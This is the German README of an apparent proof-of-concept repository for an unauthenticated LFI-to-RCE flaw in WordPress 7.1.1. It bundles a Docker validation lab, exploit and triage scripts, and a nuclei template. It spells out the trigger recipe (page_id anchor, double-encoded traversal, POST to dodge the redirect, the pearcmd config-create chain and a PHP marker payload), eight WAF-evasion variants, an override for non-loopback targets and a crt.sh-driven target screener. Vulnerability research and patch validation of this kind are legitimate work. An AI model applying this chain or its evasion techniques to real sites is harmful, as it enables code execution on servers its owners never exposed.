WordPress Core <= 7.1.1 nicht authentifizierte LFI zu RCE - Validierungslabor, PoC, nuclei-Template (GHSA-7hp8-65ch-5whp)
Sicherheitsforschungsmaterial zur Reproduktion und Validierung von CVE-2026-87902 (GHSA-7hp8-65ch-5whp) in einem isolierten, nur auf Loopback beschränkten Docker-Lab: ein unauthentifizierter Local File Inclusion in der Page-Template-Auflösung des WordPress-Kerns, eskalierbar zu Remote Code Execution.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Status: im bereitgestellten Lab nachgewiesen.
WordPress 7.1.1 (Twenty Twelve Theme) erlaubt einem unauthentifizierten Angreifer,
PHP-Dateien von außerhalb des Theme-Verzeichnisses über die pagename-Query-Variable
einzubinden, und - mit dem standardmäßigen register_argc_argv = On des offiziellen
PHP-Images - eine Marker-Datei über PEAR pearcmd.php zu schreiben und auszuführen:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
WordPress 7.1.2 mit identischem Setup blockiert das Oracle vollständig (Negativkontrolle). Dies demonstriert Codeausführung als der WordPress-Webserver-Benutzer innerhalb des Containers. Es demonstriert keinen Root-Zugriff, Container-Escape, laterale Bewegung oder Host-Kompromittierung.
Voraussetzungen: Docker mit Compose v2, Python 3.10+, Netzwerkzugriff auf Docker Hub und wordpress.org (Theme-Installation).
./lab verify
Dies baut das verwundbare Lab, erfordert, dass das LFI-Oracle und der RCE-Marker auslösen, baut dann das gepatchte Lab und erfordert, dass das Oracle stumm bleibt.
Um einen anderen Loopback-Port zu verwenden: LAB_PORT=9499 ./lab verify.
Alles anschließend mit ./lab reset entfernen.
Verwundbare Kontrolle:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Gepatchte Kontrolle:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
Ein HTTP 200, ein WAF-Block oder eine partielle Traversierung ohne den Oracle-Marker wird nicht als Beweis akzeptiert.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Die Tooling manuell gegen das laufende Lab ausführen:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
Für Systeme, die Sie besitzen oder für die Sie ausdrücklich autorisiert sind zu testen (Bug-Bounty-Scope, schriftliches Engagement), erfordern die Treiber die explizite Überschreibung:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() in wp-includes/template.php erstellt einen Kandidaten-Template-
Dateinamen aus der pagename-Query-Variable. Der benachbarte Branch drei Zeilen darüber
leitet den Page-Template-Slug durch validate_file(); der pagename-Branch tat dies nie
und schiebt zusätzlich einen zusätzlichen urldecode()-dekodierten Kandidaten ein:
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 wendet validate_file() auf den dekodierten Kandidaten an und fügt ein
Containment-Gate (_wp_is_template_path_allowed()) hinzu, das jeder aufgelöste
Template-Pfad passieren muss.
locate_template() prüft beide)
liefert ein Top-Level-Verzeichnis, das mit page- beginnt. Legacy-Standardthemes
(Twenty Twelve, Twenty Fourteen) und mehrere wp.org-Themes (Neve, Hestia,
Sydney) qualifizieren sich. Recherchierte kommerzielle Themes (Divi, Avada, Flatsome,
Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore,
Kalium, Uncode) liefern keine - die Traversierung kann nicht aufgelöst werden; siehe
PRO_THEME_PAGE_DIRS im PoC für die aus Mirror-Quellen stammende Liste..php enden (vom Code angehängt).register_argc_argv = On und PEARs pearcmd.php.Das Advisory und der Patchstack-Artikel verzichten darauf, eine funktionierende Anfrage zu veröffentlichen. Diese Details wurden empirisch in diesem Lab ermittelt:
page_id-Anker ist zwingend erforderlich. Ein nicht aufgelöstes pagename kippt
is_404, dessen Template get_page_template() vollständig überschattet. Verankern Sie die
Query mit einer beliebigen auflösbaren veröffentlichten page_id.get_posts() schreibt pagename
durch sanitize_title_for_query( wp_basename( … ) ) um: rohe .. werden zu
-, aber %hex-Sequenzen überleben; das zusätzliche urldecode() in
get_page_template() offenbart die Traversierung. Nur %252e/%252f funktioniert.redirect_canonical leitet GET mit 301 um und verwirft
die Payload; es kehrt sofort für non-GET/HEAD zurück).../ von page-templates/ bei einem Standard-Docroot.$_POST in Query-
Variablen zusammen) - die Grundlage der WAF-Evasion-Stufen.$argv-Tokens nicht, und
PEARs Config-Serializer escaped beide Anführungszeichen-Stile - daher die rohe,
anführungszeichenlose, +-getrennte Probe.| Pfad | Zweck |
|---|---|
poc/poc_cve_2026_87902.py | Vollständiger PoC: Versions- + WAF-Fingerprinting, Theme/page-*-Ordner-Enumeration (wp.org SVN, Asset-Reference-Discovery, recherchierte Pro-Theme-Map), Anker-Discovery, 8-Varianten-LFI-Oracle, vergleichendes Empty-Body-Fallback-Oracle, --rce-pearcmd-Kette, --lab-Docker-Demo |
poc/triage_cve_2026_87902.py | Pro-Target- oder Batch-Urteil mit dem benannten fehlschlagenden Gate (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Bearbeitet eine in-scope Bug-Bounty-Asset-Liste: crt.sh-Wildcard-Expansion → WP-Filter → Vorbedingungs-Screen → Kandidaten-Übergabe |
nuclei/cve-2026-87902.yaml | Nuclei-Template: sicheres LFI-Oracle (174 Payloads: 10 page-*-Remainder, doppelt/dreifach kodierte Stufen, IDs 1–30) |
WAF-Fingerprinting deckt Imperva/Incapsula, Cloudflare, Akamai, AWS
CloudFront/WAF, Sucuri, F5 ab. Acht Oracle-Varianten: doppelt kodiert, alternative
%25%32%65-Schreibweise, Parameter Pollution, dreifach kodiert - jeweils in Query-
String und POST-Body. Multipart-Bodies und Raw-Slash-Payloads wurden getestet und
verworfen (WP verarbeitet sie für diesen Sink nicht).
| Version | Bewertung |
|---|---|
| WordPress 7.1.1 | LFI + pearcmd RCE end-to-end reproduziert |
| WordPress 6.5.3 / 5.9.17 | LFI-Oracle reproduziert |
| WordPress 4.7.0–7.1.1 (andere Branches) | Als betroffen gemeldet; Branch-Tabelle gemäß GHSA |
| WordPress 7.1.2 | Gepatchte Negativkontrolle reproduziert |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
Nicht committet: .lab-state, __pycache__/, Screener-Ausgabedateien.
| Behauptung | Status |
|---|---|
| Unauthentifizierte LFI außerhalb des Theme-Verzeichnisses | Bewiesen (7.1.1, 6.5.3, 5.9.17) |
RCE via pearcmd.php config-create als Web-Benutzer | Bewiesen (7.1.1-Lab) |
| Selbstlöschung der Probe / keine persistenten Artefakte | Bewiesen |
| Gepatchte Negativkontrolle (7.1.2) | Bewiesen |
| Jedes dazwischenliegende betroffene Release getestet | Nicht getestet |
| WAF-Bypass-Varianten gegen live kommerzielle WAFs | Aus dem Lab abgeleitet, nicht WAF-getestet |
| Root-Privilegien / Container-Escape / Host-Kompromittierung | Nicht beansprucht |
page_id-Anker und die Doppelkodierungs-Anforderungen; Quelle des
vergleichenden wp-content/index.php-Empty-Body-Oracles, hier als
Fallback für gehärtete Sites enthalten)Schwachstelle gemeldet von Robert Ressl. Dieses Repository ist unabhängige Drittanbieter-Analyse und -Tooling.
MIT - siehe LICENSE.
Führen Sie dieses Repository nur auf Systemen aus, die Sie besitzen oder für die Sie
ausdrücklich autorisiert sind zu testen. Der Lab-Treiber lehnt andere Varianten als
vulnerable/patched ab, die Python-Treiber lehnen Nicht-Loopback-Ziele ab, es sei denn
--allow-authorized-non-loopback wird angegeben, und der Compose-Port ist an
127.0.0.1 gebunden.
Siehe SECURITY.md für die Behandlung von Offenlegungen. Dieses Repository enthält keine Produktionsziele, Kundendaten, Zugriffstoken oder Nachweise aus realen Systemen.
Konkret:
127.0.0.1.wp-links-opml.php ein, eine Standard-Core-Datei, die ein OPML-Dokument ausgibt.--rce ist Opt-in und schreibt eine anführungszeichenlose, selbstlöschende Marker-Probe
(<?=id,unlink(__FILE__)?>) über die öffentlich dokumentierte pearcmd.php
config-create-Technik; die Probe entfernt sich selbst bei ihrer einmaligen Ausführung
und der PoC verifiziert die Löschung. Keine Shells, Callbacks oder Persistenz.start aus unberührten offiziellen Images neu bereitgestellt; keine
Ziel-Instrumentierung.